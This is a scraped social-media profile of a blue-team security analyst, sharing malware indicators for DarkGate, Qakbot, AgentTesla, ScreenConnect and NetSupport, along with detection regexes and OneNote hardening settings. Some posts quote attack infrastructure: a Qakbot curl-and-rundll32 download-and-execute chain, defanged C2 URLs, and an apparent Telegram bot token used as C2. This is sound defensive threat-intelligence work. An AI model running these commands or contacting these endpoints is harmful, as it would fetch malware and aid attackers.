Trent (@tliffick) header
Trent (@tliffick) profile picture

Trent

@tliffick

Security Analyst | Blue Team | Windows Engineer | Father | Lover of coffee and whiskey | Wishing we wouldn’t be a$$holes to one another | Opinions are my own

 Cincinnati, OH
Joined September 2011
  • Tweets1.9K
  • Following703
  • Followers231
122Media
Photo by Trent (@tliffick)Photo by Trent (@tliffick)Photo by Trent (@tliffick)Photo by Trent (@tliffick)Photo by Trent (@tliffick)Photo by Trent (@tliffick)Photo by Trent (@tliffick)Photo by Trent (@tliffick)Photo by Trent (@tliffick)Photo by Trent (@tliffick)
Observed a new RMM tool in the wild today. I don't see this tool listed on lolrmm.io Miradore Online Client MiradoreClient.exe More IOCs found here: github.com/tliffick/RMMTools…
LOLRMM — Living Off the Land Remote Monitoring and Management

LOLRMM — Living Off the Land Remote Monitoring and Management

Explore remote monitoring and management tools, forensic artifacts, and detections. Open source intelligence for threat hunters and defenders.

lolrmm.io
48
Thanks @olafhartong for taking the time to chat with the team and I! I appreciate you sharing your experiences and helping to validate the path we're headed down.
1
3
314
Seeing a large uptick in #Darkgate #malware over the past 48 hours. .xlsx > wscript.exe > powershell.exe > certutil.exe | AutoHotKeys.exe | attrib.exe +h C:/\d{2,4} .xlsx naming: \w{3,}-\w{4,6}-\w{3,8}\.xlsx .vbs naming: EXCEL_OPEN_DOCUMENT.vbs
1
231
IOCs can be found here: github.com/tliffick/Darkgate…
83
damn, this one hurt 😂
Oddvar Moe (@Oddvarmoe) profile pictureOddvar Moe
@Oddvarmoe9 Jan 2024
Image from Oddvar Moe (@Oddvarmoe)
1
1
148
I’m curious if Qakbot will be around for a while or if it will follow Emotet’s path of a rise and fall…
Microsoft Threat Intelligence (@MsftSecIntel) profile pictureMicrosoft Threat Intelligence
@MsftSecIntel16 Dec 2023
Microsoft has identified new Qakbot phishing campaigns following the August 2023 law enforcement disruption operation. The campaign began on December 11, was low in volume, and targeted the hospitality industry. Targets received a PDF from a user masquerading as an IRS employee.
Screenshot of email from a user masquerading as an IRS employee

ALT Screenshot of email from a user masquerading as an IRS employee

239
Great to see all the people at @qc_con this morning! I’m looking forward to the talks and meeting new people this weekend! #CyberSecurity
1
83
Headed to Queen City Con this weekend. Use our code to save and stay on site hyatt.com/en-US/group-bookin… – at Amelia, OH
1
103
we have an increase in exposed CISCO IOS deices
Image from mRr3b00t (@UK_Daniel_Card)
6
10
2
58
7,502
http://cuyahoga[.]gop dropping #ScreenConnect RAT FILE INFO: cayahoga.exe 6DE70ACD525961502A0C1989D12649A0 8FAEE738A834F3FD7BBF48580142AEF204E49154D7887807307797A19B4BBB84 DNSRequests: instance-hl8yvy-relay[.]screenconnect[.]com riper48915[.]screenconnect[.]com (download)
1
99
File Writes (Sysmon 11): .*\\%LocalAppData%\\Apps\\2\.0\\\w{8}\.\w{3}\.* #ScreenConnect #Malware ServiceCreation (Sysmon 13): TargetObject: HKLM\System\CurrentControlSet\Services\ScreenConnect Client
104
🤣🤣 Who did this? I’m crying #gamedev #retrogame #indiedev
160
2,838
445
9,196
974,180
Does anyone know of any documentation around the command parameters for ‘SccmRdpSystem.exe’? Thanks!! @TheWMIGuy @PrajwalDesai @djammmer @abetterpc @PotentEngineer Tagging a bunch of wonderful smart people for help.
2
588
I’ve been laid off! I’d be a great fit for the following roles: 🔥CTI Analyst 🔥Hunt 🔥CTI Manager 8 GIAC Certs + MBA IT Management + DSc Cybersecurity 5 + years of CTI/Hunt experience Thank you!
47
359
32
478
189,560
#NetSupport -- .zip > .js > .ps1 MD5: .zip == 6e7e921e662b0ec81c8f8d9455b4e328 .js == d82377d68d4173606ac169b237cbbc3b C2: hxxps://pipecoasia[.]com/f1.ps1 hxxp://193.233.233[.]92/index.php #NetSupportManager #malware
Image from Trent (@tliffick)
134
Congrats to our MJHS E-Sports team, the best middle school Super Smash Brothers team in the state! They played through 7 matches in a row undefeated and brought home the trophy. The kids were ecstatic and it was a wonderful experience. Outstanding season. @Milford_Super
Image from Milford Schools (@Milford_Schools)
2
5
790
SENDER: zrenjanin@knezpetrol.com SUBJECT: FW: RE: PAYMENT FOR INVOICE MD5: b78061eb764d9bdb6949ac126e958bfa PROCESS TREE: eml > .tbz2 > .bat > .scr > powershell | schtasks.exe | regsvcs.exe C2: http://gbotowaya[.]duckdns[.]org:5687 #warzone #malware #infostealer
1
2
159
SENDER: dec@bosphoregroup.com SUBJECT: Fwd: Wire transfer (20SMX0701006N/20SMX0701007N) MD5: c2cf8ccbdd1f0d0cc7cdfb012f9d5350 TREE: eml > .rarj > .exe > powershell.exe | schtasks.exe C2: https://api.telegram[.]org/bot1507062795:AAEBb0H5OYbp-dWwXk8ffQp0InjOhKxhpbU/ #AgentTesla
1
162
#Qakbot -- obama253 pdf > .zip > .wsf > curl > .dll wscript.exe Funds_\d{6}\.wsf curl.exe --output c:\programdata\index.html --url hxxps://94.131.10[.]39/aSxBaqnfj98wzv.dat rundll32.exe c:\programdata\index.html,Motd #malware #qakbot
1
195
Still seeing OneNote used as a delivery mechanism (if not, just wait... it will be back) you can disable embedded files and/or embedded file types: [HKCU:\SOFTWARE\Microsoft\Office\16.0\OneNote\Options] "disableembeddedfiles"=dword:00000001
1
1
2
223
more replies
New-Item HKCU:\SOFTWARE\Microsoft\Office\16.0\OneNote\Options -Name embeddedfileopenoptions -Verbose New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Office\16.0\OneNote\Options\embeddedfileopenoptions -Name "blockedextensions" -type string -value "<insert Extensions>" -verbose
1
52
Image from Trent (@tliffick)
1
43
Load more